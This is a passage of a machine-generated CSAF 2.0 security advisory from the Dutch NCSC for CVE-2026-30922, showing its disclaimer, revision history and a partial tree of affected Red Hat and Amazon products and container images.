{ "document": { "category": "csaf_base", "csaf_version": "2.0", "distribution": { "tlp": { "label": "WHITE" } }, "lang": "en", "notes": [ { "category": "legal_disclaimer", "text": "The Netherlands Cyber Security Center (henceforth: NCSC-NL) maintains this portal to enhance access to its information and vulnerabilities. The use of this information is subject to the following terms and conditions:\n\nThe vulnerabilities disclosed in this portal are gathered by NCSC-NL from a variety of open sources, which the user can retrieve from other platforms. NCSC-NL makes every reasonable effort to ensure that the content of this portal is kept up to date, and that it is accurate and complete. Nevertheless, NCSC-NL cannot entirely rule out the possibility of errors, and therefore cannot give any warranty in respect of its completeness, accuracy or real-time keeping up-to-date. NCSC-NL does not control nor guarantee the accuracy, relevance, timeliness or completeness of information obtained from these external sources. The vulnerabilities disclosed in this portal are intended solely for the convenience of professional parties to take appropriate measures to manage the risks posed to the cybersecurity. No rights can be derived from the information provided therein.\n\nNCSC-NL and the Kingdom of the Netherlands assume no legal liability or responsibility for any damage resulting from either the use or inability of use of the vulnerabilities disclosed in this portal. This includes damage resulting from the inaccuracy of incompleteness of the information contained in it.\nThe information on this page is subject to Dutch law. All disputes related to or arising from the use of this portal regarding the disclosure of vulnerabilities will be submitted to the competent court in The Hague. This choice of means also applies to the court in summary proceedings." } ], "publisher": { "category": "coordinator", "contact_details": "cert@ncsc.nl", "name": "National Cyber Security Centre", "namespace": "https://www.ncsc.nl/" }, "title": "CVE-2026-30922", "tracking": { "current_release_date": "2026-04-02T12:45:07.863386Z", "generator": { "date": "2026-02-17T15:00:00Z", "engine": { "name": "V.E.L.M.A", "version": "1.7" } }, "id": "CVE-2026-30922", "initial_release_date": "2026-03-17T16:39:56.911201Z", "revision_history": [ { "date": "2026-03-17T16:39:56.911201Z", "number": "1", "summary": "CVE created.| Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| References created (4).| CWES updated (1)." }, { "date": "2026-03-17T16:40:06.133453Z", "number": "2", "summary": "NCSC Score created." }, { "date": "2026-03-18T03:38:48.333171Z", "number": "3", "summary": "Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| Products created (1).| References created (2).| CWES updated (1)." }, { "date": "2026-03-18T03:38:56.441355Z", "number": "4", "summary": "NCSC Score updated." }, { "date": "2026-03-18T04:25:14.917759Z", "number": "5", "summary": "Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| References created (2).| CWES updated (1)." }, { "date": "2026-03-18T04:25:21.810630Z", "number": "6", "summary": "NCSC Score updated." }, { "date": "2026-03-18T06:37:50.167498Z", "number": "7", "summary": "Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| Products created (38).| Product Identifiers created (40).| Products connected (3).| References created (3).| CWES updated (1)." }, { "date": "2026-03-18T07:35:31.417376Z", "number": "8", "summary": "NCSC Score updated." }, { "date": "2026-03-18T12:44:32.788426Z", "number": "9", "summary": "Source created.| CVE status created. (valid)| Description created for source.| Products connected (2)." }, { "date": "2026-03-18T15:57:49.929090Z", "number": "10", "summary": "Source created.| CVE status created. (valid)| EPSS created." }, { "date": "2026-03-18T15:57:55.494987Z", "number": "11", "summary": "NCSC Score updated." }, { "date": "2026-03-18T20:38:55.220195Z", "number": "12", "summary": "Unknown change." }, { "date": "2026-03-19T00:28:49.831393Z", "number": "13", "summary": "Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| Products connected (94).| Product Identifiers created (17).| Product Remediations created (94).| References created (4).| CWES updated (1).| Vendor_assessment created." }, { "date": "2026-03-19T00:29:05.185841Z", "number": "14", "summary": "NCSC Score updated." }, { "date": "2026-03-19T15:30:54.327207Z", "number": "15", "summary": "Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| References created (4).| CWES updated (1)." }, { "date": "2026-03-20T09:33:37.487438Z", "number": "16", "summary": "Source connected.| CVE status created. (valid)| EPSS created." }, { "date": "2026-03-20T18:16:45.962999Z", "number": "17", "summary": "Description removed for source.| Description created for source.| References created (2)." }, { "date": "2026-03-20T18:16:48.183861Z", "number": "18", "summary": "NCSC Score updated." }, { "date": "2026-03-20T18:37:12.075926Z", "number": "19", "summary": "Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| Products connected (1).| Product Identifiers created (1).| Exploits created (1).| References created (2).| CWES updated (1)." }, { "date": "2026-03-20T18:37:16.897051Z", "number": "20", "summary": "NCSC Score updated." }, { "date": "2026-03-21T01:26:37.437954Z", "number": "21", "summary": "References created (1)." }, { "date": "2026-03-21T01:39:10.623633Z", "number": "22", "summary": "Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| Products connected (1).| References created (3).| CWES updated (1).| Unknown change." }, { "date": "2026-03-21T12:20:04.971584Z", "number": "23", "summary": "Source connected.| CVE status created. (valid)| Description created for source.| CVSS created.| CWES updated (1)." }, { "date": "2026-03-21T12:20:09.440195Z", "number": "24", "summary": "NCSC Score updated." }, { "date": "2026-03-22T18:07:31.047529Z", "number": "25", "summary": "NCSC Score updated." }, { "date": "2026-03-23T06:20:00.034306Z", "number": "26", "summary": "Products created (2).| Product Identifiers created (2)." }, { "date": "2026-03-23T06:20:04.239511Z", "number": "27", "summary": "NCSC Score updated." }, { "date": "2026-03-25T18:41:47.639305Z", "number": "28", "summary": "References created (1)." }, { "date": "2026-03-26T00:38:51.384154Z", "number": "29", "summary": "Description removed for source.| Description created for source.| References created (3)." }, { "date": "2026-03-26T18:54:15.425779Z", "number": "30", "summary": "Source created.| CVE status created. (valid)| Description created for source.| Products created (1).| References created (3)." }, { "date": "2026-03-28T12:19:59.335378Z", "number": "31", "summary": "Product Remediations created (1)." }, { "date": "2026-03-28T12:20:01.467471Z", "number": "32", "summary": "NCSC Score updated." }, { "date": "2026-03-29T03:16:00.278804Z", "number": "33", "summary": "References removed (1)." }, { "date": "2026-03-29T12:19:53.823549Z", "number": "34", "summary": "Product Remediations created (1)." }, { "date": "2026-03-29T16:14:57.300551Z", "number": "35", "summary": "References created (1)." }, { "date": "2026-04-01T07:50:51.466472Z", "number": "36", "summary": "Source connected.| CVE status created. (valid)| Description created for source.| Products created (1)." }, { "date": "2026-04-01T07:50:58.124764Z", "number": "37", "summary": "NCSC Score updated." }, { "date": "2026-04-01T11:28:49.573388Z", "number": "38", "summary": "Source connected.| CVE status created. (valid)| Products connected (2).| References created (4)." }, { "date": "2026-04-01T11:28:52.015643Z", "number": "39", "summary": "NCSC Score updated." }, { "date": "2026-04-01T12:36:31.358333Z", "number": "40", "summary": "Source connected.| CVE status created. (valid)| Description created for source.| CVSS created.| Products connected (29).| Product Remediations created (31).| Product Identifiers created (104).| Product Identifiers removed (104).| References created (20).| CWES updated (1)." }, { "date": "2026-04-01T12:36:43.707563Z", "number": "41", "summary": "NCSC Score updated." }, { "date": "2026-04-02T09:05:44.979824Z", "number": "42", "summary": "Products connected (3).| References created (4)." }, { "date": "2026-04-02T09:05:52.640338Z", "number": "43", "summary": "NCSC Score updated." }, { "date": "2026-04-02T12:29:21.318713Z", "number": "44", "summary": "Source connected.| CVE status created. (valid)| Description created for source.| CVSS created.| Products connected (28).| Product Remediations created (30).| Product Identifiers created (100).| Product Identifiers removed (100).| References created (20).| CWES updated (1)." }, { "date": "2026-04-02T12:29:40.660940Z", "number": "45", "summary": "NCSC Score updated." } ], "status": "interim", "version": "45" } }, "product_tree": { "branches": [ { "branches": [ { "branches": [ { "category": "product_version_range", "name": "vers:unknown/unknown", "product": { "name": "vers:unknown/unknown", "product_id": "CSAFPID-1330296", "product_identification_helper": { "cpe": "cpe:/o:amazon:linux_2:-" } } } ], "category": "product_name", "name": "Amazon Linux 2" } ], "category": "vendor", "name": "Amazon" }, { "branches": [ { "branches": [ { "category": "product_version_range", "name": "vers:unknown/<2.5", "product": { "name": "vers:unknown/<2.5", "product_id": "CSAFPID-1384077" } }, { "category": "product_version_range", "name": "vers:unknown/<2.6", "product": { "name": "vers:unknown/<2.6", "product_id": "CSAFPID-5354794" } } ], "category": "product_name", "name": "Ansible Automation Platform" }, { "branches": [ { "category": "product_version_range", "name": "vers:rpm/1", "product": { "name": "vers:rpm/1", "product_id": "CSAFPID-5222660", "product_identification_helper": { "cpe": "cpe:/a:redhat:rhmt:1" } } } ], "category": "product_name", "name": "Migration Toolkit For Containers" }, { "branches": [ { "category": "product_version_range", "name": "vers:rpm/2", "product": { "name": "vers:rpm/2", "product_id": "CSAFPID-1919968", "product_identification_helper": { "cpe": "cpe:/a:redhat:migration_toolkit_virtualization:2" } } } ], "category": "product_name", "name": "Migration Toolkit for Virtualization" }, { "branches": [ { "category": "product_version_range", "name": "vers:rpm/unknown", "product": { "name": "vers:rpm/unknown", "product_id": "CSAFPID-2524222", "product_identification_helper": { "cpe": "cpe:/a:redhat:openshift_lightspeed" } } } ], "category": "product_name", "name": "OpenShift Lightspeed" }, { "branches": [ { "category": "product_version_range", "name": "vers:rpm/3", "product": { "name": "vers:rpm/3", "product_id": "CSAFPID-2942231", "product_identification_helper": { "cpe": "cpe:/a:redhat:service_mesh:3" } } } ], "category": "product_name", "name": "OpenShift Service Mesh 3" }, { "branches": [ { "category": "product_version_range", "name": "vers:rpm/3", "product": { "name": "vers:rpm/3", "product_id": "CSAFPID-2858641", "product_identification_helper": { "cpe": "cpe:/a:redhat:ai_inference_server:3" } } } ], "category": "product_name", "name": "Red Hat AI Inference Server" }, { "branches": [ { "category": "product_version_range", "name": "vers:rpm/2", "product": { "name": "vers:rpm/2", "product_id": "CSAFPID-1508257", "product_identification_helper": { "cpe": "cpe:/a:redhat:ansible_automation_platform:2" } } } ], "category": "product_name", "name": "Red Hat Ansible Automation Platform 2" }, { "branches": [ { "branches": [ { "category": "product_version_range", "name": "vers:rpm/2.6", "product": { "name": "vers:rpm/2.6", "product_id": "CSAFPID-5153949", "product_identification_helper": { "cpe": "cpe:/a:redhat:ansible_automation_platform:2.6::el9" } } } ], "category": "product_name", "name": "Red Hat Ansible Automation Platform 2.6" }, { "branches": [ { "category": "product_version_range", "name": "vers:oci/1774139204", "product": { "name": "vers:oci/1774139204", "product_id": "CSAFPID-5973066", "product_identification_helper": { "purl": "pkg:oci/aap-must-gather-rhel9@sha256%3Ae43db60ae78ea52aa60425b0bcd13d5660a72a3e888baa043125040df3b1e499?arch=s390x&repository_url=registry.redhat.io/ansible-automation-platform-26&tag=1774139204" } } } ], "category": "product_name", "name": "aap-must-gather-rhel9" }, { "branches": [ { "category": "product_version_range", "name": "vers:oci/1774153089", "product": { "name": "vers:oci/1774153089", "product_id": "CSAFPID-5973067", "product_identification_helper": { "purl": "pkg:oci/ansible-builder-rhel9@sha256%3Adb8e631f92329e1da78b76a7d510e6dace445aecdcba5b7d65896c4dde5b6d96?arch=amd64&repository_url=registry.redhat.io/ansible-automation-platform-26&tag=1774153089" } } } ], "category": "product_name", "name": "ansible-builder-rhel9" }, { "branches": [ { "category": "product_version_range", "name": "vers:oci/1774585183", "product": { "name": "vers:oci/1774585183", "product_id": "CSAFPID-5973068", "product_identification_helper": { "purl": "pkg:oci/ansible-dev-tools-rhel9@sha256%3A8f6d6144ac73ba9f0133ca1303405cb9f28309cea10213ad2a6745fe91221075?arch=s390x&repository_url=registry.redhat.io/ansible-automation-platform-26&tag=1774585183" } } } ], "category": "product_name", "name": "ansible-dev-tools-rhel9" }, { "branches": [ { "category": "product_version_range", "name": "vers:oci/1774368903", "product": { "name": "vers:oci/1774368903", "product_id": "CSAFPID-5973070", "product_identification_helper": { "purl": "pkg:oci/controller-rhel9@sha256%3Aa490261dea13fa75a1c4aa0a175da144c26a5dc727dc542609c25655adeb8819?arch=arm64&repository_url=registry.redhat.io/ansible-automation-platform-26&tag=1774368903" } } } ], "category": "product_name", "name": "controller-rhel9" }, { "branches": [ { "category": "product_version_range", "name": "vers:oci/1774484033", "product": { "name": "vers:oci/1774484033", "product_id": "CSAFPID-5973069", "product_identification_helper": { "purl": "pkg:oci/controller-rhel9-operator@sha256%3Aee388c6cde6ddc916d0a727de14bf27aa2b4b276c10b252132ca3db00f4d5bc6?arch=amd64&repository_url=registry.redhat.io/ansible-automation-platform-26&tag=1774484033" } } } ], "category": "product_name", "name": "controller-rhel9-operator" }, { "branches": [ { "category": "product_version_range", "name": "vers:oci/1774487884", "product": { "name": "vers:oci/1774487884", "product_id": "CSAFPID-5973071", "product_identification_helper": { "purl": "pkg:oci/de-minimal-rhel9@sha256%3Ac67254bbf63fe1220d58de04f36770afd4a6835a8903d03233310b13ed134a3b?arch=arm64&repository_url=registry.redhat.io/ansible-automation-platform-26&tag=1774487884" } } } ], "category": "product_name", "name": "de-minimal-rhel9" }, { "branches": [ { "category": "product_version_range", "name": "vers:oci/1774490244", "product": { "name": "vers:oci/1774490244", "product_id": "CSAFPID-5973072", "product_identification_helper": { "purl": "pkg:oci/de-supported-rhel9@sha256%3Afa5dd987c4032dd4749f81e265456b1abd3063c2b134434c32006d4a124a9dca?arch=s390x&repository_url=registry.redhat.io/ansible-automation-platform-26&tag=1774490244" } } } ], "category": "product_name", "name": "de-supported-rhel9" }, { "branches": [ { "category": "product_version_range", "name": "vers:oci/1774258433", "product": { "name": "vers:oci/1774258433", "product_id": "CSAFPID-5973074", "product_identification_helper": { "purl": "pkg:oci/eda-controller-rhel9@sha256%3Af720d731ed73925d2e5b2eff3c2c821a0600352546577c5b45c087de78b6a95b?arch=ppc64le&repository_url=registry.redhat.io/ansible-automation-platform-26&tag=1774258433" } } } ], "category": "product_name", "name": "eda-controller-rhel9" }, { "branches": [ { "category": "product_version_range", "name": "vers:oci/1774484073", "product": { "name": "vers:oci/1774484073", "product_id": "CSAFPID-5973073", "product_identification_helper": { "purl": "pkg:oci/eda-controller-rhel9-operator@sha256%3Afe0b1298bb9dbe8b981b83ac31761c3cf174dbc5b6adc6e3df39e7a238349822?arch=s390x&repository_url=registry.redhat.io/ansible-automation-platform-26&tag=1774484073" } } } ], "category": "product_name", "name": "eda-controller-rhel9-operator" }, { "branches": [ { "category": "product_version_range", "name": "vers:oci/1774484106", "product": { "name": "vers:oci/1774484106", "product_id": "CSAFPID-5973075", "product_identification_helper": { "purl": "pkg:oci/eda-controller-ui-rhel9@sha256%3Af95849a65d7c218be6c34619a8c8502f213d96f745ff73525fa898560230cafd?arch=ppc64le&repository_url=registry.redhat.io/ansible-automation-platform-26&tag=1774484106" } } } ], "category": "product_name", "name": "eda-controller-ui-rhel9" }, { "branches": [ { "category": "product_version_range", "name": "vers:oci/1774311517", "product": { "name": "vers:oci/1774311517", "product_id": "CSAFPID-5973076", "product_identification_helper": { "purl": "pkg:oci/ee-minimal-rhel9@sha256%3Ab77fba98853eb0fabcbcd4981c347cf909f50e64ea32f4c0d8313d89cdb48cf7?arch=amd64&repository_url=registry.redhat.io/ansible-automation-platform-26&tag=1774311517" } } } ], "category": "product_name", "name": "ee-minimal-rhel9" }, { "branches": [ { "category": "product_version_range", "name": "vers:oci/1774321273", "product": { "name": "vers:oci/1774321273", "product_id": "CSAFPID-5973077", "product_identification_helper": { "purl": "pkg:oci/ee-supported-rhel9@sha256%3Ad6adc9bd2df9fded6228ddd5dbca3919991913b40fb95b12d4d01cf96c5f4d60?arch=arm64&repository_url=registry.redhat.io/ansible-automation-platform-26&tag=1774321273" } } } ], "category": "product_name", "name": "ee-supported-rhel9" }, { "branches": [ { "category": "product_version_range", "name": "vers:oci/1774139334", "product": { "name": "vers:oci/1774139334", "product_id": "CSAFPID-5973078", "product_identification_helper": { "purl": "pkg:oci/gateway-proxy-rhel9@sha256%3A92c85eabe94b95c63307991c3881acbd34a808c4f34ca57c66a97550ee51b884?arch=s390x&repository_url=registry.redhat.io/ansible-automation-platform-26&tag=1774139334" } } } ], "category": "product_name", "name": "gateway-proxy-rhel9" }, { "branches": [ { "category": "product_version_range", "name": "vers:oci/1774243862", "product": { "name": "vers:oci/1774243862", "product_id": "CSAFPID-5973080", "product_identification_helper": { "purl": "pkg:oci/gateway-rhel9@sha256%3Aed7a7ba7daf1a16a600af6cf4a875588a4647f5541cb309634aaba6614abf027?arch=ppc64le&repository_url=registry.redhat.io/ansible-automation-platform-26&tag=1774243862" } } } ], "category": "product_name", "name": "gateway-rhel9" }, { "branches": [ { "category": "product_version_range", "name": "vers:oci/1774484129", "product": { "name": "vers:oci/1774484129", "product_id": "CSAFPID-5973079", "product_identification_helper": { "purl": "pkg:oci/gateway-rhel9-operator@sha256%3Af0e905a88c717e674b96a13545fbeda55c7cc265e0cda3ef8e01f9b06d18a478?arch=arm64&repository_url=registry.redhat.io/ansible-automation-platform-26&tag=1774484129" } } } ], "category": "product_name", "name": "gateway-rhel9-operator" }, { "branches": [ { "category": "product_version_range", "name": "vers:oci/1774644659", "product": { "name": "vers:oci/1774644659", "product_id": "CSAFPID-5973082", "product_identification_helper": { "purl": "pkg:oci/hub-rhel9@sha256%3Ad204205c731ab29336afda6a28becce7500485001ca550ffd01432e9c0a291eb?arch=ppc64le&repository_url=registry.redhat.io/ansible-automation-platform-26&tag=1774644659" } } } ], "category": "product_name", "name": "hub-rhel9" }, { "branches": [ { "category": "product_version_range", "name": "vers:oci/1774484154", "product": { "name": "vers:oci/1774484154", "product_id": "CSAFPID-5973081", "product_identification_helper": { "purl": "pkg:oci/hub-rhel9-operator@sha256%3Aa89fe49e49cfd10c9a11420eee13a1c813524524435b51a5d2ee729f4114b951?arch=ppc64le&repository_url=registry.redhat.io/ansible-automation-platform-26&tag=1774484154" } } } ], "category": "product_name", "name": "hub-rhel9-operator" }, { "branches": [ { "category": "product_version_range", "name": "vers:oci/1774647780", "product": { "name": "vers:oci/1774647780", "product_id": "CSAFPID-5973083", "product_identification_helper": { "purl": "pkg:oci/hub-web-rhel9@sha256%3Afad44c5cdfad40cae6acb29a6a543f1b830ca057f531263280a28ffffc5bd2c5?arch=s390x&repository_url=registry.redhat.io/ansible-automation-platform-26&tag=1774647780" } } } ], "category": "product_name", "name": "hub-web-rhel9" }, { "branches": [ { "category": "product_version_range", "name": "vers:oci/1774417022", "product": { "name": "vers:oci/1774417022", "product_id": "CSAFPID-5973065", "product_identification_helper": { "purl": "pkg:oci/lightspeed-chatbot-rhel9@sha256%3Ad17dce8e1cc199e35217043b9b80a0d748520cf40204713ba872b5ce14ebf7cc?arch=amd64&repository_url=registry.redhat.io/ansible-automation-platform-26&tag=1774417022" } } } ], "category": "product_name", "name": "lightspeed-chatbot-rhel9" }, { "branches": [ { "category": "product_version_range", "name": "vers:oci/1774363040", "product": { "name": "vers:oci/1774363040", "product_id": "CSAFPID-5973085", "product_identification_helper": { "purl": "pkg:oci/lightspeed-rhel9@sha256%3Adb0b40d9a8190c7598de5537df75c83923a48d1927d733ceef4764d35d8056d7?arch=ppc64le&repository_url=registry.redhat.io/ansible-automation-platform-26&tag=1774363040" } } } ], "category": "product_name", "name": "lightspeed-rhel9" }, { "branches": [ { "category": "product_version_range", "name": "vers:oci/1774484113", "product": { "name": "vers:oci/1774484113", "product_id": "CSAFPID-5973084", "product_identification_helper": { "purl": "pkg:oci/lightspeed-rhel9-operator@sha256%3Accf651f792eb389d5cb6516728c6cc5a031e647de3a18cf5d51f3bd2819804b2?arch=arm64&repository_url=registry.redhat.io/ansible-automation-platform-26&tag=1774484113" } } } ], "category": "product_name", "name": "lightspeed-rhel9-operator" }, { "branches": [ { "category": "product_version_range", "name": "vers:oci/1774268173", "product": { "name": "vers:oci/1774268173", "product_id": "CSAFPID-5973090", "product_identification_helper": { "purl": "pkg:oci/mcp-server-rhel9@sha256%3A6375a3333e8e8443dd702ed5235ddf9b3b6578a6024a917455fdd82f1f38d004?arch=arm64&repository_url=registry.redhat.io/ansible-automation-platform-tech-preview&tag=1774268173" } } } ], "category": "product_name", "name": "mcp-server-rhel9" }, { "branches": [ { "category": "product_version_range", "name": "vers:oci/1774268174", "product": { "name": "vers:oci/1774268174", "product_id": "CSAFPID-5973086", "product_identification_helper": { "purl": "pkg:oci/mcp-tools-rhel9@sha256%3A7510d2566f94e33ef189efd5d92a9e213c5cf50610765c255160851538cb7082?arch=ppc64le&repository_url=registry.redhat.io/ansible-automation-platform-26&tag=1774268174" } } } ], "category": "product_name", "name": "mcp-tools-rhel9" }, { "branches": [ { "category": "product_version_range", "name": "vers:oci/1774540248", "product": { "name": "vers:oci/1774540248", "product_id": "CSAFPID-5984227", "product_identification_helper": { "purl": "pkg:oci/metrics-service-rhel9@sha256%3Ac8425cc65b52b3b3538036873f74e4fd9dbeec54254f95f94108003421f45b4e?arch=s390x&repository_url=registry.redhat.io/ansible-automation-platform-tech-preview&tag=1774540248" } } } ], "category": "product_name", "name": "metrics-service-rhel9" }, { "branches": [ { "category": "product_version_range", "name": "vers:oci/1774648896", "product": { "name": "vers:oci/1774648896", "product_id": "CSAFPID-5973091", "product_identification_helper": { "purl": "pkg:oci/platform-operator-bundle@sha256%3A79abdf5f9c95b6792765db2b69c8b6cb68eef889674d39203080044bee5fc556?arch=amd64&repository_url=registry.redhat.io/ansible-automation-platform&tag=1774648896" } } }, { "category": "product_version_range", "name": "vers:oci/1774648925", "product": { "name": "vers:oci/1774648925", "product_id": "CSAFPID-5973092", "product_identification_helper": { "purl": "pkg:oci/platform-operator-bundle@sha256%3Af27581c3a84be7fc387d230aad9e3922caac3f5c59aff779a60aa149877f48e1?arch=amd64&repository_url=registry.redhat.io/ansible-automation-platform&tag=1774648925" } } } ], "category": "product_name", "name": "platform-operator-bundle" }, { "branches": [ { "category": "product_version_range", "name": "vers:oci/1774484549", "product": { "name": "vers:oci/1774484549", "product_id": "CSAFPID-5973087", "product_identification_helper": { "purl": "pkg:oci/platform-resource-rhel9-operator@sha256%3Abc51280e45f6375ca3d45d859161790934ef76ed59c747a2960720d58c7ee219?arch=arm64&repository_url=registry.redhat.io/ansible-automation-platform-26&tag=1774484549" } } } ], "category": "product_name", "name": "platform-resource-rhel9-operator" }, { "branches": [ { "category": "product_version_range", "name": "vers:oci/1774485790", "product": { "name": "vers:oci/1774485790", "product_id": "CSAFPID-5973088", "product_identification_helper": { "purl": "pkg:oci/platform-resource-runner-rhel9@sha256%3Af0bc302bdd30b28257768ad3756173b4bc63c2d11b3d673e3df4bfa596224b51?arch=amd64&repository_url=registry.redhat.io/ansible-automation-platform-26&tag=1774485790" } } } ], "category": "product_name", "name": "platform-resource-runner-rhel9" }, { "branches": [ { "category": "product_version_range", "name": "vers:oci/1774573035", "product": { "name": "vers:oci/1774573035", "product_id": "CSAFPID-5973089", "product_identification_helper": { "purl": "pkg:oci/receptor-rhel9@sha256%3Af00b87dd79fb1e56c8f4368026c9aed45ab5febe832bd98a7c718f965ab6656c?arch=s390x&repository_url=registry.redhat.io/ansible-automation-platform-26&tag=1774573035" } } } ], "category": "product_name", "name": "receptor-rhel9" } ], "category": "product_family", "name": "Red Hat Ansible Automation Platform" }, { "branches": [ { "category": "product_version_range", "name": "vers:unknown/unknown", "product": { "name": "vers:unknown/unknown", "product_id": "CSAFPID-1317175", "product_identification_helper": { "cpe": "cpe:/o:redhat:enterprise_linux:-" } } } ], "category": "product_name", "name": "Red Hat Enterprise Linux" }, { "branches": [ { "category": "product_version_range", "name": "vers:rpm/10", "product": { "name": "vers:rpm/10", "product_id": "CSAFPID-2858634", "product_identification_helper": { "cpe": "cpe:/o:redhat:enterprise_linux:10" } } } ], "category": "product_name", "name": "Red Hat Enterprise Linux 10" }, { "branches": [ { "category": "product_version_range", "name": "vers:rpm/8", "product": { "name": "vers:rpm/8", "product_id": "CSAFPID-1439317", "product_identification_helper": { "cpe": "cpe:/o:redhat:enterprise_linux:8" } } } ], "category": "product_name", "name": "Red Hat Enterprise Linux 8" }, { "branches": [ { "category": "product_version_range", "name": "vers:rpm/9", "product": { "name": "vers:rpm/9", "product_id": "CSAFPID-1439319", "product_identification_helper": { "cpe": "cpe:/a:redhat:enterprise_linux:9" } } } ], "category": "product_name", "name": "Red Hat Enterprise Linux 9" }, { "branches": [ { "category": "product_version_range", "name": "vers:rpm/3", "product": { "name": "vers:rpm/3", "product_id": "CSAFPID-5198605", "product_identification_helper": { "cpe": "cpe:/a:redhat:enterprise_linux_ai:3" } } } ], "category": "product_name", "name": "Red Hat Enterprise Linux AI (RHEL AI) 3" }, { "branches": [ { "category": "product_version_range", "name": "vers:rpm/unknown", "product": { "name": "vers:rpm/unknown", "product_id": "CSAFPID-1439279", "product_identification_helper": { "cpe": "cpe:/a:redhat:openshift_ai" } } } ], "category": "product_name", "name": "Red Hat OpenShift AI (RHOAI)" }, { "branches": [ { "category": "product_version_range", "name": "vers:rpm/4", "product": { "name": "vers:rpm/4", "product_id": "CSAFPID-1439328", "product_identification_helper": { "cpe": "cpe:/a:redhat:openshift:4" } } } ], "category": "product_name", "name": "Red Hat OpenShift Container Platform 4" }, { "branches": [ { "category": "product_version_range", "name": "vers:rpm/18.0", "product": { "name": "vers:rpm/18.0", "product_id": "CSAFPID-1441197", "product_identification_helper": { "cpe": "cpe:/a:redhat:openstack:18.0" } } } ], "category": "product_name", "name": "Red Hat OpenStack Platform 18.0" }, { "branches": [ { "category": "product_version_range", "name": "vers:rpm/3", "product": { "name": "vers:rpm/3", "product_id": "CSAFPID-1441200", "product_identification_helper": { "cpe": "cpe:/a:redhat:quay:3" } } } ], "category": "product_name", "name": "Red Hat Quay 3" }, { "branches": [ { "category": "product_version_range", "name": "vers:rpm/6", "product": { "name": "vers:rpm/6", "product_id": "CSAFPID-1439313", "product_identification_helper": { "cpe": "cpe:/a:redhat:satellite:6" } } } ], "category": "product_name", "name": "Red Hat Satellite 6" }, { "branches": [ { "category": "product_version_range", "name": "vers:rpm/1", "product": { "name": "vers:rpm/1", "product_id": "CSAFPID-1441204", "product_identification_helper": { "cpe": "cpe:/a:redhat:trusted_artifact_signer:1" } } } ], "category": "product_name", "name": "Red Hat Trusted Artifact Signer" }, { "branches": [ { "category": "product_version_range", "name": "vers:rpm/1.5", "product": { "name": "vers:rpm/1.5", "product_id": "CSAFPID-3036200", "product_identification_helper": { "cpe": "cpe:/a:redhat:stf:1.5" } } } ], "category": "product_name", "name": "Service Telemetry Framework 1.5" }, { "branches": [ { "branches": [ { "category": "product_version_range", "name": "vers:rpm/unknown", "product": { "name": "vers:rpm/unknown", "product_id": "CSAFPID-1508264" } } ], "category": "product_name", "name": "automation-controller" }, { "branches": [ { "category": "product_version_range", "name": "vers:rpm/unknown", "product": { "name": "vers:rpm/unknown", "product_id": "CSAFPID-5172458" } } ], "category": "product_name", "name": "controller-rhel9" }, { "branches": [ { "category": "product_version_range", "name": "vers:rpm/unknown", "product": { "name": "vers:rpm/unknown", "product_id": "CSAFPID-5448450" } } ], "category": "product_name", "name": "controller-rhel9-operator" }, { "branches": [ { "category": "product_version_range", "name": "vers:rpm/unknown", "product": { "name": "vers:rpm/unknown", "product_id": "CSAFPID-5172459" } } ], "category": "product_name", "name": "eda-controller-rhel9" }, { "branches": [ { "category": "product_version_range", "name": "vers:rpm/unknown", "product": { "name": "vers:rpm/unknown", "product_id": "CSAFPID-5448451" } } ], "category": "product_name", "name": "eda-controller-rhel9-operator" }, { "branches": [ { "category": "product_version_range", "name": "vers:rpm/unknown", "product": { "name": "vers:rpm/unknown", "product_id": "CSAFPID-3095614" } } ], "category": "product_name", "name": "ee-minimal-rhel8" }, { "branches": [ { "category": "product_version_range", "name": "vers:rpm/unknown", "product": { "name": "vers:rpm/unknown", "product_id": "CSAFPID-2698058" } } ], "category": "product_name", "name": "ee-minimal-rhel9" }, { "branches": [ { "category": "product_version_range", "name": "vers:rpm/unknown", "product": { "name": "vers:rpm/unknown", "product_id": "CSAFPID-2698059" } } ], "category": "product_name", "name": "ee-supported-rhel8" }, { "branches": [ { "category": "product_version_range", "name": "vers:rpm/unknown", "product": { "name": "vers:rpm/unknown", "product_id": "CSAFPID-2518221" } } ], "category": "product_name", "name": "ee-supported-rhel9" }, { "branches": [ { "category": "product_version_range", "name": "vers:rpm/unknown", "product": { "name": "vers:rpm/unknown", "product_id": "CSAFPID-5172460" } } ], "category": "product_name", "name": "gateway-rhel9" }, { "branches": [ { "category": "product_version_range", "name": "vers:rpm/unknown", "product": { "name": "vers:rpm/unknown", "product_id": "CSAFPID-5448452" } } ], "category": "product_name", "name": "gateway-rhel9-operator" }, { "branches": [ { "category": "product_version_range", "name": "vers:rpm/unknown", "product": { "name": "vers:rpm/unknown", "product_id": "CSAFPID-5172461" } } ], "category": "product_name", "name": "hub-rhel9" }, { "branches": [ { "category": "product_version_range", "name": "vers:rpm/unknown", "product": { "name": "vers:rpm/unknown", "product_id": "CSAFPID-5448453" } } ], "category": "product_name", "name": "hub-rhel9-operator" }, { "branches": [ { "category": "product_version_range", "name": "vers:rpm/unknown", "product": { "name": "vers:rpm/unknown", "product_id": "CSAFPID-2831634" } } ], "category": "product_name", "name": "lightspeed-chatbot-rhel8" }, { "branches": [ { "category": "product_version_range", "name": "vers:rpm/unknown", "product": { "name": "vers:rpm/unknown", "product_id": "CSAFPID-5035448" } } ], "category": "product_name", "name": "lightspeed-chatbot-rhel9" }, { "branches": [ { "category": "product_version_range", "name": "vers:rpm/unknown", "product": { "name": "vers:rpm/unknown", "product_id": "CSAFPID-1508261" } } ], "category": "product_name", "name": "lightspeed-rhel8" }, { "branches": [ { "category": "product_version_range", "name": "vers:rpm/unknown", "product": { "name": "vers:rpm/unknown", "product_id": "CSAFPID-5009266" } } ], "category": "product_name", "name": "lightspeed-rhel9" }, { "branches": [ { "category": "product_version_range", "name": "vers:rpm/unknown", "product": { "name": "vers:rpm/unknown", "product_id": "CSAFPID-5448454" } } ], "category": "product_name", "name": "lightspeed-rhel9-operator" }, { "branches": [ { "category": "product_version_range", "name": "vers:rpm/unknown", "product": { "name": "vers:rpm/unknown", "product_id": "CSAFPID-5448455" } } ], "category": "product_name", "name": "platform-resource-rhel9-operator" }, { "branches": [ { "category": "product_version_range", "name": "vers:rpm/unknown", "product": { 